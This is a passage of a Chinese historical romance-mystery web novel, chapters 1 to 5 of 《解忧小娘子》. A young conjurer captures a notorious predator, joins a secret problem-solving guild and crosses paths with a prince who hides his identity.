《解忧小娘子》 1. 第 1 章 《解忧小娘子》全本免费阅读 长宁仲夏,黑云翻墨,山雨欲来。 杂耍班主抬头瞅了眼天色,边收摊边朝身前的少女不耐地摆手: “都说了,我这儿不招小姑娘!” “别呀,我还会戏法呢!” 少女紧跟着上前一步,白嫩的小手盈盈一翻,刚才还空落落的手里赫然停着只半掌大的蝴蝶,色彩斑斓真假难辨。 少女朝着蝴蝶轻吹口气,那彩蝶便振动翅膀在空中翩然起舞。 这灵巧的小把戏令旁观者不禁为之叫好,班主也收起方才的漫不经心,仔细打量起少女来。 只见这少女约莫十五六岁的年纪,身上的蓝绿素纱广袖襦裙已有些显旧,发也只用同色绸带随意束起,但仍难掩她的天生好相貌。 尤其那双亮晶晶的杏眼,甚是灵动娇俏,只是此刻却仿佛携着几分急切。 陆铃儿的确有些急,这一路风尘仆仆来到京城,眼下盘缠即将用光,又无牙贴[1]可供行商卖艺,若再找不到一处营生,怕是得喝西北风了。 班主紧盯着陆铃儿,眼神明亮了一瞬,复又黯淡下来,摇头惋惜道: “小娘子身手不错,只是我这行传下来的规矩,招男不招女,抱歉了!” “诶——”陆铃儿一听这话不乐意了,怎么京城家家都说招男不招女,她可从没听师父说过还有这样的行规。 正欲拉住眼前的壮汉理论一番,那班主却似想起了什么,停下将行的脚步,头点向街头的告示栏: “天快黑了,又将落雨,京中还在闹采|花贼,小娘子还是莫要在外停留,早些归家为好。” 采|花贼? 陆铃儿眨眨圆圆的杏眼,心道这班主莫不是故意搪塞人,找个借口诓她离开? 她顺着班主示意的方向走了几步,竟真的见到了悬赏告示: 缉拿采|花大盗今日欢,赏银一百银。 告示还附了那采|花贼的画像,五官虽不突出,但轻薄无行的神态倒是画得十分传神。 恰逢一道惊雷砸下,在电闪雷鸣中,陆铃儿仿佛看到有一道身影从背后一晃而过。 “谁?” 她心里蓦地一惊,转身四顾,却并没见到什么可疑之人,只余路人行色匆匆。 再回过头来,方才的戏班已经收摊离开。 她无奈地耸肩,掩下心里的惴惴不安,回身折返。 也不知是不是陆铃儿多心,她总感觉有一双眼睛一路盯着她,待她回首又消失得无影无踪。 直至回到客栈,大雨倾盆而至,这种若有似无的感觉才渐渐消失。 临睡前,陆铃儿靠坐于床沿,手里摩挲着一枚银质的长命锁,仔细看去,一个“陆”字暗刻其间。 她食指轻弹坠于锁下的小铃铛,思绪回到师父离世时。 师父告诉她,当年他于京城收留她时,她的身上就戴着这枚长命锁。 可她一点儿也不记得自己的身世了,所有记忆的起点,就是七岁随着师父四处卖艺。 如今只身一人回到京城,真能顺利寻到自己的身世吗? 盘缠已是不多,营生又没个着落,接下来又该如何是好? 不知为何,她又想起了告示栏上的采|花贼,心里不踏实得紧,在房间里鼓捣布置了好一阵,这才和衣睡下。 屋外雷声滚动,时而一道闪电劈下,照亮屋顶上铜箔片,隐隐显出一个“欢”字。 直至后半夜,雷雨渐歇,而那枚铜箔片,竟被一双手拾了起来! 此人不是别人,正是那告示上的通缉犯,采|花贼今日欢。 早前他乔装来到告示栏前,与往常无数次一样,看着那悬赏通缉,暗笑着官府的无能。 也正是这时,一位娇俏的小娘子翩然而至,他拉下斗笠,嘴角勾出了猥|琐的笑容。 尾随着小娘子一路来到客栈后,他留下记号,入夜再行事。 此时正值深夜,他掀起铜箔片下方的瓦片,往屋内吹入一管迷烟。 估摸着药性差不多了,他从房顶跃身而下,进入房间往床铺走去。 夜色正浓,看着床上隐隐约约的人影,今日欢心痒难耐,边走边道: “小娘子莫怕,我今日欢最是疼爱——哎哟!” 还没待他走得几步,也不知踩到了什么,忽地脚下一滑,一个趔趄直直向前倾倒下去。 然而他之所以能采|花无数,靠的正是一身轻功,就在即将倒地的瞬间,他一个翻身稳住身形,堪堪避过了从身后袭来的绳索。 眼见“神仙索”掉地,陆铃儿暗道一声不好。 早在今日欢还在房顶上时,她就被布置在屋顶下的传音铃惊醒。 迷烟传来,她迅即戴上面巾,全身戒备。 饶是如此,她还是被来人轻薄的话语震惊了: 今日欢?那个采|花大盗今日欢? 想起白日起那个若有若无的身影,陆铃儿明白过来,自己这是被盯上了。 看着黑暗中向自己步步逼近的贼人,陆铃儿心中顿觉惶恐,连手都轻轻颤了起来。 不行!不能任由他得逞!快想办法! 她用力甩了甩头,以手抚心,强行让自己镇定下来。 接着飞速盘算一番,如若今日欢被她洒在地上的“油光水滑”溜倒,她抛出“神仙索”将其缚住的胜算很大,可以一试。 只是没想到今日欢轻功了得,更没想到她还是着了道,手上失了力气,绳索扔偏错失了良机。 今日欢这时也反应过味来,厉声嗤笑道: “小娘子这是有备而来?可惜我的香沾衣即中,你就是想抵抗也是不能了!” 话音未落,他便跃身而起,朝着床头直逼上来。 就在他伸手欲擒陆铃儿的瞬间,陆铃儿巧手一转,一个熊熊燃烧的火盆扣向了今日欢面门。 这是她的彩戏绝活,以前她老嫌带这些东西麻烦,今日直面贼人,又使不上力气,这招倒是派上了大用场。 今日欢本以为即将得逞,哪里想到会冒出个火盆,往后避退不及,衣袖沾了火,连忙起身扑火。 火盆落地将房间照亮,两人的面容清晰地呈现在对方眼前。 今日欢果然与那画像一般,容貌不显却油腻猥|琐,陆铃儿不由得嫌弃地撇了撇嘴。 而今日欢盯着陆铃儿,扑火的手为之一滞。 小娘子戴上面纱竟如此诱|人! 还没待他回过神来,身上却突然奇痒无比,仿佛有千百只跳蚤在来回乱蹿,令他只得不停抓挠,却迈不开逃跑的脚步。 今日欢今日真的栽了,见陆铃儿走近身前,不由得连连求饶: “女侠饶命,快饶命啊!” 女侠?这称呼倒也新鲜。 看着身上着火、满地乱滚的今日欢,陆铃儿想起那通缉告示,眨了眨眼睛,心中有了计较。 她今夜所为本求自保,但今日欢害了那么多女子,其行可诛,既已将他拿下,那她就来当这个女侠。 再说了,把他送官还有一百两银子呢! 陆铃儿手上翻出一个海碗,将满满一碗水朝今日欢浇头泼下,刚才还是火人的今日欢立马淋成了落汤鸡。 “谢女侠——”还没待他谢完,陆铃儿已从地上拾起“神仙索”,将他捆了个严严实实。 虽然没什么力气,但她打的结自有诀窍,今日欢这类宵小自是挣脱不开。 她俯身盯着还在地上打滚的男子,原本猥|琐的容颜此时更是狼狈不堪。 陆铃儿掩住眼中的厌恶,抬手喝道: “还是等见了官老爷再求饶吧!” 随着一声响指落下,今日欢的身子骤然痉挛,状若发癫,继而晕厥过去。 陆铃儿伸手,几只小甲虫从今日欢身上回到她掌中。 这是她自己鼓捣的小玩意儿“钻山蚤”,与白日里的“掌中蝶”一样,都是她结合墨家秘典做出来的彩戏小道具。 表面看与普通虫子无异,实则皆是她匠心而成。 她将手中的“钻山蚤”紧了紧发条,复又瞥向倒在地上的今日欢。 先前还惧而避之不及的贼人,原来并没有想象中凶悍,不过是个下三滥的跳梁小丑。 该!叫你祸害人!今日叫你再也欢不起来! 她轻甩还不太使得上力的手臂,是时候叫人来收拾残局了。 客栈的灯盏次第亮起,这一晚可不得了,那张榜缉拿的采|花大盗今日欢,在他们店里,抓着啰! 第二天清晨,客栈众人随恢复力气的陆铃儿一道,押着今日欢来到顺天府大门前。 顺天府的衙役开门还打着哈欠,一见这是把今日欢逮着了,也不瞌睡了,小跑着把人带了进去,将今日欢关押候审。 陆铃儿这边配合衙役做完笔录,询问起赏银事宜,却被告知需待今日欢认罪伏法方可领取。 官府办事得走流程,陆铃儿只得按下期许,回去等消息。 然而接连几日过去,消息却如沉海的石子,没有丝毫回音。 瞅着手里最后一个铜板,陆铃儿决定再去一趟顺天府。 接待她的衙役一查卷宗,答复赏银申请已上报至顺天府丞,需等府丞批示。 “府丞批了是不是还要等府尹批?” 陆铃儿耐心快被耗尽了,领个赏银也如此繁琐,真要性命攸关哪还等得 2. 第 2 章 《解忧小娘子》全本免费阅读 顺天府厅堂。 陆铃儿立于厅前,会声会色地讲述了她如何阴差阳错遇到今日欢,又是如何靠着道具将其缉拿归案。 如此奇闻,经她这么一说倒真切得就刚刚像发生在眼前。 戚玉尘眼中的好奇又多了几分:“陆姑娘绝技,实让戚某大开眼界!” “戚大人,贼人既已认罪伏法,赏银理应即刻落实。” 容砚清润的声音从厅堂客位传来,打断了戚玉尘的探究。 陆铃儿闻言即刻点头,向容砚抛去一个感激的目光。 终于说到了点上,还是靖王靠谱。 只是这一下竟对上了容砚的眸,目光落入那双狭长的瑞凤眼里,仿佛跌进了深邃的柔波之中,泉水荡漾,映出一片闪烁的星光。 陆铃儿心猛地一跳,赶紧收回眼神。 此时恰好衙役带着批示完毕的赏银申请呈上,陆铃儿的注意力立马又转到了那纸单据上。 “陆姑娘,执此即可找衙门账房支取赏银了。” 接过戚玉尘递来的单据,陆铃儿眉眼弯弯,两个小梨涡浮在了唇边: “谢过靖王、谢过戚大人!” 正打算告辞去领赏银,容砚欲揭杯盖品茗的手却似是滑了一下,连带着手指轻敲在案几上,发出有节奏的几声轻响。 戚玉尘无奈地轻叹口气,出声发问道: “陆姑娘似乎急需这笔赏银,可是遇到了什么难处?” 陆铃儿单据在手心情尚佳,丝毫不见忸怩: “也不是什么大事,就是还没找到营生,这不就……” “如此身手竟无处营生?”戚玉尘十分诧异。 “我也是到了京城才知道,这行当招男不招女。” 陆铃儿不自觉地嘟了嘟嘴,也不知这是什么破规矩。 就坐于客位的容砚似是对两人的话题不感兴趣,低眉弄茶,手指又漫不经心地案几上轻敲。 戚玉尘正欲接陆铃儿的话,却陡然定住,桃花眼中满是震惊。 睁大的眼眸瞥过容砚,得到他肯定的目光,戚玉尘觉得今天自己的眉是放不下来了。 “咳,陆姑娘若不介意,戚某倒是可以引荐一个不拘性别、只重实力的好去处。” “真的?那太好了!” 陆铃儿亮晶晶的杏眼盛满了惊喜,有了府丞大人的引荐,这下营生有着落了! 说不定,还能找户部办个牙贴自己开班当班主? “不知陆姑娘可曾听过解忧阁?” 诶?解忧阁? 陆铃儿意外地眨眨眼,没想到戚大人说的好去处竟是这里。 她也是等消息的这几日听人闲聊,才知道解忧阁的。 那是一个传闻中的智囊组织,接人委托专替人排忧解难。 不论是民间纠纷还是离奇公案,只要它接下的案子,都会有专职解忧师上门解难。 因着解忧阁经手的案子大都迎刃而解,于公于私前去委托者不胜枚举。 这戚大人,居然与解忧阁有来往? 陆铃儿点头:“还请大人明示。” “你既有这一身本事,不如去解忧阁当一名解忧师?” “解,解忧师?我吗?” 陆铃儿抬手指着自己的鼻子,她一个彩戏师,可以去当解忧师? “对,你的技能跳脱常规之外,比寻常解忧师更能出奇制胜。” 戚玉尘每说一个字,对陆铃儿胜任的信心愈增加一分,没想到彩戏师与解忧师竟如此意外地契合。 这家伙不拘一格的用人思路还真让人惊叹。 他故意转向容砚:“靖王觉得呢?” 容砚被他突然问到,抬头与陆铃儿的目光又交汇到了一处。 他敛下眼底的情绪,脸上浮起一抹歉意: “此事恕我莫知所谓,陆姑娘且随心就好。” 戚玉尘暗自翻了个白眼,他倒是会装。 陆铃儿在今日之前,从没想过自己还可以做彩戏师以外的营生,解忧师对她来说是个挑战,但……更是个机会。 她眼中沉下一抹坚决,抬手向戚玉尘行礼: “如此,民女谢过戚大人!” 带着戚玉尘写好的引荐信,陆铃儿谢别二人,领赏银离开了顺天府。 看着久未回神的容砚,戚玉尘忍不住问道: “既与陆姑娘渊缘颇深,你为何还要如此……” 容砚狭长的瑞凤眼暗了暗,眼底的巨浪似是要冲破禁|锢,却又被强行压下: “现在,还不是时候……” 不仅时机不对,她似乎还忘却了曾经的过往。 戚玉尘叹气:“那你就装吧!解忧阁那头——” “我自会照顾。倒是你,需得勤勉增效了!” 容砚起身欲走,身后戚玉尘却懒懒回道: “若是我太勤快,你今日可就见不到故人喽!” 容砚无语摇头,继而摆手离开,嘴角泛却起了久违的笑容。 * 庭园雅致,曲径通幽。 陆铃儿跟在领路人身后,心里忍不住地连连惊叹。 没想到这解忧阁竟设在江渚之中,江上烟笼雾绕,非阁内艄公不能渡。 从入口到庭院,四处可见古朴的梅形阁徽,然而庭中却盛开着密密团团的白铃兰,淡淡香气沁人心脾。 阁徽如墨,庭花胜雪,此情此景,恍如梦中。 “陆姑娘,阁主就在此间。” 领路人带陆铃儿行至一处水榭,通传之后告知陆铃儿独自前往。 微风乍起,轻纱飘荡,影影绰绰间,一道深色身影端坐于水榭之中,提笔伏案正写着什么。 似是察觉到陆铃儿的脚步,他轻轻抬首,目光投了过来。 陆铃儿与他视线交错,一眼之间,心中又是泛起一声轻叹: 要不说人家是阁主呢,果然气宇不凡! 这气度并非出自容貌,他甚至连容貌都藏于玄色墨梅面具之下,但周身散发出来的威仪,令他整个人显得神采英拔,气质绝佳。 陆铃儿行至案前,一礼过后,在阁主的示意下就座于客位。 阁主眼神一路跟随于她,待其坐定,冷泉般的声音自喉间逸出: “戚大人的引荐信我已看过,他推荐之人自是可信,不过陆姑娘,你可知解忧阁解的是何忧?又以何解忧?” 这一来就考上了? 陆铃儿眨了眨眼,以她于道听途说中对解忧阁有限的了解,迅速组织起了语言: “解忧阁既为智囊,当以智解百忧。” 阁主闻言却是弯了弯唇,清冷的声线扬起几分笑意: “陆姑娘切莫紧张,此问并非考验,只是望你知晓,解忧阁既解百忧,仅靠智力是不够的,还得有过人的本事,比如——” 话音未落,阁主竟凝起一道掌风,劈头向陆铃儿袭来! 陆铃儿大惊,立马起身躲避,她万没想到,这还能打起来。 然而阁主却没有停手的意思,他握笔飞身而下,越过案桌直取陆铃儿面门,动作干净又利落。 陆铃儿被阁主逼得连连后退,好你个阁主,招人有这么招的嘛? 见阁主执画笔攻至身前,陆铃儿侧身闪开,手却似不经意被阁主的笔尖拂过。 阁主眸中有瞬间的慌乱掠过,正待停下查看,手中的笔竟像是活了一般,掉转头来向他攻去。 不,这不是笔,眼下他手中握着的,是一根细长的小棒,小棒的顶端系有一枚铜铃,正是这铜铃如活物般袭了过来。 而此时的陆铃 3. 第 3 章 《解忧小娘子》全本免费阅读 长宁京,解忧居。 酒楼客流如织,但却少有人知道,这家位于繁华街市的酒楼,正是解忧阁与委托人的接应点。 陆铃儿对面坐着的,便是她的第一位委托人—— 一位娟好静秀、充满书卷气的女子。 “小女子名唤施绮,陆娘子叫我十七娘便好。” 她的声音清丽柔和,此时她蹙起秀丽的远山眉,娓娓道出了此次委托解忧的原委。 原来,施绮家住仁州,双亲亡故后,她便经营父亲留下的书局为生。 几月前她偶得一书稿,觉得其故事精彩,遂将其刊印发表,在仁州当地反响不错,便将书稿带到京城,欲与京城的书商合作。 她在京城寻访一圈,与出价最高的珠玉书肆达成了合作,书一上市,果然销量空前。 施绮按着日子前来收取合约款银,可没成想,这珠玉书肆的老板欺她是个外地来的弱女子,硬生生赖起了账。 她在京城停留多日,却一直收不到账款,幸而这书稿作者与她常有联系,告知解忧阁兴许可以帮她,她才寻到了这里。 “这便是书稿,以及与珠玉书肆的合作契书。” 陆铃儿瞟了眼印有《青梅曲》三字的书封,以及落有签名的契书,诧异道: “既有契书,为何不报官?” “此事坏就坏在这里!”施绮以手击案,叹气道: “这珠玉书肆的朱老板,妹妹是户部侍郎的宠妾,正因背后有户部撑腰,他方才如此有恃无恐,根本不怕人报官。” 哦?户部? 陆铃儿水汪汪的杏眼转了几转,又接着问道: “也就是说,他靠着户部的关系,不是第一次这么干了?” 施绮点头:“对,我前去收账之时,也遇到过其他苦主。” 陆铃儿眼中一亮,弯起唇亮出甜甜的酒窝: “十七娘且宽心,待我准备一点小玩意儿,稍后与你一道去会会这个朱老板!” 几个时辰后,陆铃儿随着施绮来到珠玉书肆门前。 她并不着急进门,在门口稍作端详之后,手轻巧翻出几个粗大的竹筒,将其安置在不易察觉的角落里。 待进入书肆,她也如法炮制,将竹筒悄然隐匿于书架之后。 只是没人看到,这些竹筒皆有一根透明的细丝系着,而丝线的另一头,则牵在陆铃儿手中的小竹筒中。 书肆的伙计见施绮进门本欲阻挡,却不知为何身上一麻,一时之间竟动弹不得。 陆铃儿轻手收回“钻山蚤”,与施绮一道在厅室找到了朱老板。 此时他正抱着个大木匣数银票,见二人进来立马扣上匣子,肥肉横生的脸上堆满不耐: “你怎么又来了!都说了没钱,没钱!” “朱老板,你这匣子,可不像没钱的样子。” 陆铃儿头点向桌上的木匣,手则悄悄转向,将握于掌中的小竹筒正对朱老板。 朱老板抱紧匣子:“你又是何人?” “先别管我是谁,你且说这是不是你签的契书?” 朱老板见陆铃儿是个娇娇俏俏的小姑娘,心下一松,仰背靠在座椅上: “是又如何?” “契书上写明,你需向十七娘支付合约款银三百两。” “没钱!”朱老板一脸无赖。 “用这匣子里的钱抵扣也行。” “想得倒美!”朱老板一掌拍在匣盖上: “就凭你们两个臭丫头,也想拿老子的钱!” 他贪鄙的目光瞟过陆铃儿,又扫向施绮: “我说十七娘,你一个小丫头还想学人做生意,这点钱就当是给我的束脩,你还是乖乖回家嫁人去吧!” 这番话实在是太过无|耻,施绮气得指向他的手都在颤: “你就不怕我去报官吗?” “报官?”朱老板扯起耷拉的嘴角,冷笑出声: “你倒是去报啊,凭我的关系,你尽可试试官老爷站在哪一边!” 施绮一个秀秀气气的姑娘,那里斗得过此等无赖,一时口拙难辩,侧首向陆铃儿投去求助的目光。 陆铃儿上前一步挡在她的前面: “朱老板,你就是这样对待合作者的?” 朱老板轻哼一声: “你们这些乡巴佬,有什么资格谈条件!” 陆铃儿快都被这番言论气笑了,既然这么卑鄙,不如再多来点: “你如此行径,置前来购书的读者于何地?又置天下的学子于何地?” 要知道,这珠玉书肆可是独家出售天下学子的备考典籍,很多书册只有这里能买到。 “他们算个屁!不过是些个花钱的傻瓜,于我又有何干!” 话音刚落,书肆外间的店铺却突然人声鼎沸,轰地吵开了。 朱老板有些莫名,却见陆铃儿手中翻出一个小竹筒,她轻轻执起,朝竹筒朗然说道: “朱老板的高论,你们都听清楚了?” 朱老板一惊,肥硕的手指向陆铃儿:“你,你在同谁讲话?” 陆铃儿眨了眨水汪汪的杏眼,勾起甜美的笑容: “当然是你口中的傻瓜和乡巴佬啊。” 这怎么可能? 朱老板不敢置信地看向陆铃儿手中的竹筒,恼羞成怒地站起身来,满身的肥肉抖个不停: “什,什么?你这个臭丫头!” 他伸手欲擒陆铃儿,却被她轻巧地闪开,还欲再度上前,厅室的门却被涌进来的人群冲破了。 “好你个奸商,简直无|耻至极!” “说我们是傻瓜?有种你别搞独家啊,人|渣!” 学子们蜂拥着挤了进来,纷纷向朱老板叫骂,店里的伙计身形还麻着,根本拦不住。 朱老板被义愤填膺的学子团团围住,却还不忘将他那木匣子护得紧紧的,讪讪陪笑道: “误会,这都是误会。” 话还没说完,不知从哪儿飞出来个鸡蛋,正中朱老板额前,蛋液瞬间糊了他一脸。 朱老板扒拉着满脸的蛋液正欲发作,人群中也不知谁喊了一句:“奸商看打!” 那群本来还秉持动口不动手的学子,也被这一声喊带着撸起了拳头。 几拳下来,朱老板就撑不住了,连连哭喊道: “十七娘,你们快救救我啊!” “那你欠的款银呢?” 面对陆铃儿的追问,朱老板仍抱着木匣不愿松手,却被乱拳打倒在地,匣子也跟着掉落在脚下。 陆铃儿刚用“神仙索”将木匣卷入手中,另外一波人又冲了进来。 他们皆是被朱老板坑过的合作商,此时也双目泛红地加入这乱局: “乡下人就活该受你欺?” “别跟他废话,今天定要打得他还钱!” 他们可不同于手无缚难之力的学 4. 第 4 章 《解忧小娘子》全本免费阅读 陆铃儿脑子发晕,诊室里的容砚也没好到哪儿去。 他也没想到,陆铃儿会找到这里来。 此时他包扎完伤口,刚换好干净的衣服从内室出来,陆铃儿略显苍白的面容便映入眼帘。 侍卫言风正欲上前,待看清楚来人,又乖乖退至容砚身后。 “陆姑娘?”容砚并未掩饰眸中的惊诧。 方才他明明看着她另辟蹊径成功完成了委托,这才来到医馆疗伤,就这么一会儿的功夫,她怎会弄成这个样子? 陆铃儿脑子晕归晕,寻常的礼节还是懂的,忙敛住惊讶向容砚行礼。 上次见到靖王便知他身体欠佳,他出现在医馆本也正常,可是他贵为亲王,却出现在寻常医馆,就实属意外了。 “靖……” 陆铃儿刚一开口,容砚便将她虚虚扶住: “陆姑娘勿需多礼,来此处可是要问诊?” 陆铃儿轻轻含首:“嗯。我有些不适,想找大夫瞧瞧。” 也不知是不是错觉,对面的靖王听到不适二字,脸色似乎有些发白,眸子也似暗下了几分。 只是这种感觉转瞬即逝,此时他又恢复成一派温润的模样,修长的手指向诊室内室: “今日是栖云子坐诊,寻到此处即是缘分,陆姑娘请。” 栖云子?是那个圣手仙人栖云子? 陆铃儿早前随师父四处卖艺时,也曾听过栖云子大名,听说他修道出身,一生云游江湖,能得他诊治,不说起死回生,至少也能得个药到病除。 谁能想到世人踏破铁鞋也难觅踪迹的栖云子,竟在京城的一处医馆坐诊,甚至还没什么人来就诊! 陆铃儿哪里知道,栖云子以“云先生”之名到此处“坐诊”,只是为了容砚这个宝贝徒弟而已。 每月除了固定几天在此,其余时间都神龙见首不见尾,别说诊室外那些买药之人不知他的身份,就连这医馆的老板,怕也是不得而知。 此时陆铃儿生出了几分好奇,头也似乎没那么晕了,向容砚道过谢后,径直走向了内室。 容砚看着她的背影,狭长的瑞凤眼微敛,此刻也不急着走了,只寻了处面向内室窗户的位置坐了下来。 旁边的言风见主子落座,疑惑地小声询问: “王爷,你不是还要去……” 容砚摆摆手:“不急,师父说上药一刻钟后方可离开。” 言风沉默了一瞬,方才云先生的确是让主子一刻钟后再走,但他是怎么说的? “徒儿身负要事,一刻也耽搁不得。” 怎么一下说变就变了? 他的目光也随着主子,透过镂空的窗花来到内室面向这方的陆铃儿身上。 这个陆姑娘,果然不简单。 今日主子在去往解忧阁的路上遭遇暗杀,主子不便出手,他一人力退杀手,还是被这些人钻了空子,让主子受了伤。 没想到事后主子不去处理伤口,竟跑到什么珠玉书肆门口看热闹,那热闹还不是这位陆姑娘给弄出来的? 不待他往下细想,身上已感知到主子的警告,他赶紧低头,收回了探究的目光。 见身后的言风老实了些,容砚余光仍关注着内室,视线却落到了案上随意放置的一本书册上。 《青梅曲》?陆铃儿今日的委托正是因它而起。 他不由得伸手拿起书册,随意翻阅了起来。 陆铃儿这头,进入内室见到的是一位仙风道骨的老者,他发须皆白,看向陆铃儿的双目却矍铄有神: “陆姑娘叫我云先生即可。” 想来这内室不隔音,方才她与靖王的谈话栖云子应是都听见了。 “云先生。”陆铃儿在案前就坐,抬头却透过侧前方镂空的窗,瞥见靖王正在诊室厅堂休憩。 他低着头,正翻阅着一本书册,夕阳落在他的身上,柔和了他全身的轮廓,而他也如这光一般,耀眼得让人移不开眼。 栖云子随着陆铃儿的目光看去,长眉一弯,捋须笑道: “劣徒容砚需得留观一刻钟方可离开,陆姑娘若是介意,可随老夫换间内室。” 陆铃儿连连摆手:“不用不用,云先生不必麻烦。” 她哪里是介意,只是有点分心而已。 对了,云先生刚刚说什么? 劣徒?靖王竟是栖云子的徒弟?! 难怪他会到这里来就诊了,原来还有这层关系在。 她不禁又望向窗外的容砚,不知是不是夕阳晃得眼花,她总感觉方才栖云子说话时他好像皱了皱眉,直到她说话时他的眉心又舒展开来。 “不知陆姑娘是何处不适?” 栖云子的声音在耳边响起,陆铃儿赶紧收回目光,低声答道: “我……晕血。” “哦?何时有此症状的?现在感觉如何?” “我打小就有这毛病,今日一见血,又犯晕了。” 栖云子留心着陆铃儿的症状,为她仔细诊断着,而一窗之隔的容砚,心里却浪淘滚滚、汹涌难平。 原来当年那事对她的伤害如此之深,不但失了忆,还怕了血。 但令他心绪难平的不光是陆铃儿的晕血之症,还有手上的这本《青梅曲》。 这书写的,竟然是…… “陆姑娘,你这晕血症并非身体之症,而是心上的毛病,不过也无碍,我开些调理的药方给你,再配上缓解的药囊,以后见血便不会再如今日这般。” 栖云子从药箱中递给陆铃儿一个小巧的药囊,陆铃儿伸手接过,在栖云子的示意下放在鼻端轻嗅,一股清凉之意顿时充盈全身,脑子也瞬间清明了许多。 只是陆铃儿心里还想着栖云子方才的话:心上的毛病。 她从记事起就怕血,一见血就晕,她一直觉得是自己的身体的问题,怎会是心上的毛病? 栖云子见她疑虑,也只是摇头道: “心病还需心药医,至于这心药为何,就得陆姑娘自己去寻了。” 待陆铃儿离开内室,容砚的视线才从手中的书册上移开。 他于夕阳的落晖中抬头,眸中的暖光一如这晚霞,绚丽闪耀、熠熠生辉: “陆姑娘可是瞧好了?” 这眸光实在是太过炫目,陆铃儿的心不由得猛地一震。 靖王殿下还真是好相貌,就这么在阳光下看个书、抬个头,都让人心跳不已。 陆铃儿轻咳一声,平复了一下心跳,才答复道: “嗯,云先生神医圣手,此番多谢靖王引荐。” 容砚细细瞧过她的眉眼,见她神色如常,不复方才那般苍白,这才轻轻含首: “陆姑娘客气了。” 陆铃儿眨眨水汪汪的杏眼,唇角又现出两个可爱的小酒窝: “今日叨扰多时,就不打搅靖王了,先行告辞。” 现在陆铃儿晕血之症既已得到缓解,再杵在这里打扰别人休息可就不好了,再说施绮还在外面等着她呢。 5. 第 5 章 《解忧小娘子》全本免费阅读 去往解忧居的船上,陆铃儿终于在同僚们的七嘴八舌下,搞清了事情的原委。 原来,阁主曾在一次任务中,无意救下了当朝七公主容璃,从此就被这位刁蛮公主给缠上了。 要说这七公主,也确实是位难缠的主,贵妃所出,尊贵非凡,从小眼高于顶谁都瞧不上,唯独看上了阁主,偏阁主还将她拒之千里。 这位养尊处优的公主哪被人这样拒绝过,可她动不了解忧阁,又不能用强,只好痴缠。 于是,阁主对她越冷,她就越是纠缠;阁主越是躲她,她就越是堵他。 无法强行登岛上解忧阁,她便派人在解忧居蹲守,一有阁主消息便亲自去堵。 这不,听闻今日阁主会到解忧居议事,她又堵上门去了。 陆铃儿杏眼睁得圆圆的,没想到阁主还有这么一段韵事。 “陆铃儿,你是不知,阁主拒人那叫一个不留情面,关键次次拒绝的理由还不一样。” “是啊是啊,别看阁主平时话不多,拒绝人的时候可狠了,我也是佩服那七公主,阁主话都说成那样了,她还要继续痴缠。” “我还是更佩服阁主,你们且看他这次又用什么理由拒绝吧!” 这群同僚,还真是看热闹不嫌事大,不过,陆铃儿喜欢。 他们一行五人兴冲冲赶到解忧居,此时酒楼已经清场,只留店内伙计守着大门。 因着解忧师的身份,他们倒是顺利进了门,找了个角落里的厢房,几个人靠在房门前,等待着好戏开场。 外面的七公主容璃似已等候多时,阁主久未露面令她渐渐失去了耐心: “韩恪,我知道你在,这样躲着我算什么?” 娇横的声音响起,陆铃儿好奇地向外看去,只见一位华服女子立于堂前,艳丽的盛妆芙蓉面,火红的对襟长衫裙,气度确是不凡。 只是盛气太过,给人一种凌驾于人上之感。 “韩恪,你要是再不出来,我就一把火烧了这解忧居!” 容璃眼中闪过一丝笃定,韩恪此人,你若只对上他本人,他可以铁石心肠避而不见,但若要伤及无辜,他势必会现身阻拦。 果然,一声叹息轻轻响起: “即便烧了这里,你我也不会有任何改变,公主又何必执着。” 随着男子的话音响起,阁主韩恪于现身于阁楼之上,他缓缓抬脚,一步一步走下台阶,相思灰的鹤氅随着他的步伐,在身后划出优美的弧线。 靠在厢门后的解忧师们相互对了下眼色,好戏,上演了! “韩恪!”容璃面上一喜,随即命令身后的侍卫退下,她则上前一步迎到台阶前: “我就知道,你不会不管我的!” 韩恪,抑或可以称他容砚,此时藏在面具之下的眉头狠狠地皱了起来。 他对这位七皇妹自幼便毫无好感,之前不过是顺手救了她一次,没想到她还黏上不走了。 “公主切莫会错意,我亦并非因你而现身。” 冷泉般的声音从面具下响起,听得容璃眸光一凛,复又紧握手指,压住心中的不岔: “不论怎么说,你总归是出来见我了!” 她行至容砚身前,征征地看着那个令人朝思暮想的身影。 她不知他的容貌,也不知他的出身,可感情的事无法控制,仅一次相救,她就无可救药地心悦于他。 “同样的话,我已说过多次,公主若是还没听清,我不介意再说一次。” 厢门后的几人听闻此言眼神都亮了,最精彩的部分来了! 容璃的眼神却骤然一黯,似是有泪在凝聚: “你为何总是如此狠心拒我于千里?为何就不肯好好看看我呢?” 悄悄看热闹的几人默默交换了一下眼神,公主这次换策略了? 不过对上阁主,换什么样的策略怕都是不成的。 果然,面对公主的示弱,阁主完全不为所动,仍是摇头拒绝。 只是他接下来的话,却出乎所有人的意料之外: “因为我所心仪之人,从来都不是你。” “什……什么?心仪之人?你有心仪之人?!” 容璃设想过千万条他拒绝的理由,却唯独没想过,他会心仪别的人。 “谁?是谁!”容璃的脸上现出一丝狠厉,涂满艳红蔻丹的长甲紧握,在掌上划出几道血痕也不觉疼。 “这就不劳公主费心……” 容砚话未说完,角落的厢房里却传来“咣当”一声响。 “谁在那儿?”公主随行的侍卫本就离那厢房不远,听得响动甩开手上的长鞭挥了过去。 且说厢房里面,本来还在看好戏的几人,都被阁主一句“心仪之人”震住了。 原以为阁主冷,没想到竟藏得这么深! 几人正在心中惊叹,不想最边上的那位话篓子方侃,失神之余不小心碰到了案上的花瓶,还没待几人反应过来,那花瓶就“咣当”一声倒在了案上。 紧接着,一条长鞭带着呼啸的风声破空而来,几人心里皆是一沉,暗道一声不好。 他们这些解忧师,多是智优于武,阁内倒是也有几个以武取胜的,今日又偏都没来,所以他们这五人,拳脚上都不占优势。 眼下这鞭子来得又快又狠,他们即便立刻退开,也还是会被它的锋芒扫到。 情急之下,陆铃儿巧手翻出一把粗布大伞,在厢门被鞭子击碎的瞬间撑开挡于五人身前。 然而长鞭犀利,纵陆铃儿的这把粗布伞特意用钢架加固过,也难敌真正的武器,一鞭下去,伞便碎裂开来。 也得亏是有了粗布伞这一挡,再加上方才的厢门,鞭子的威力已被卸去大半,最后落在身上的锋芒大减,只在几人臂上各自留下了一道血印。 陆铃儿倒是没被鞭子抽上,但因掌中伞的碎裂,她的手也被碎屑划出了血痕。 一见流血,陆铃儿又有些头晕,幸有昨日栖云子开的药囊,她的症状已缓解不少,不再如从前那般难过了。 还不待几人站定,第二鞭又猛地抽了过来。 